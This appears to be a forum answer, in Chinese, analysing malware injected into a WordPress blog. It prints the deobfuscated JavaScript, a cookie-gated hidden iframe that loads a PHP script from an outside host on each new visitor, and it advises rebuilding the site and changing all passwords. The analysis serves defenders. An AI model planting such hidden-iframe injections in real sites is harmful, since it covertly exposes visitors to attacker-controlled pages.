这是纯信息。当您的恶意软件被去混淆时,它看起来像这样:
function k09() {
var static = 'ajax';
var controller = 'index.php';
var k = document.createElement('iframe');
k.src = 'http://dostojewskij-gesellschaft.de/VD49Jdzr.php';
k.style.position = 'absolute';
k.style.color = '512';
k.style.height = '512px';
k.style.width = '512px';
k.style.left = '1000512';
k.style.top = '1000512';
if (!document.getElementById('k')) {
document.write('<p id=\'k\' class=\'k09\' ></p>');
document.getElementById('k').appendChild(k);
}
}
function SetCookie(cookieName, cookieValue, nDays, path) {
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0) nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) &&
(name != document.cookie.substring(0, name.length))) {
return null;
}
if (start == -1) return null;
var end = document.cookie.indexOf(";", len);
if (end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
if (GetCookie('visited_uq') == 55) {} else {
SetCookie('visited_uq', '55', '1', '/');
k09();
}
}
http://dostojewskij-gesellschaft.de/VD49Jdzr.php
只是简单地输出“OK”。
为什么?
我的猜测是这是一个IP / 流量记录器。也许是为了让黑客检查哪些博客最活跃,然后稍后回来并攻击该特定站点(不需要浪费时间在每月有2个访问者的站点上)。这既好又坏。
好的部分是它似乎他们没有使用您的用户数据库或其他任何内容。
坏的部分是,由于显然他们已经在您的服务器上具有执行权限,并且可能已经在整个服务器上放置了他们的PHP文件,因此他们很可能已经下载了您的整个数据库。您最好从新的WP开始,并逐一复制插件/主题,同时手动检查它们。
更改所有密码。甚至您的DB登录也要更改。考虑所有内容都已被攻击。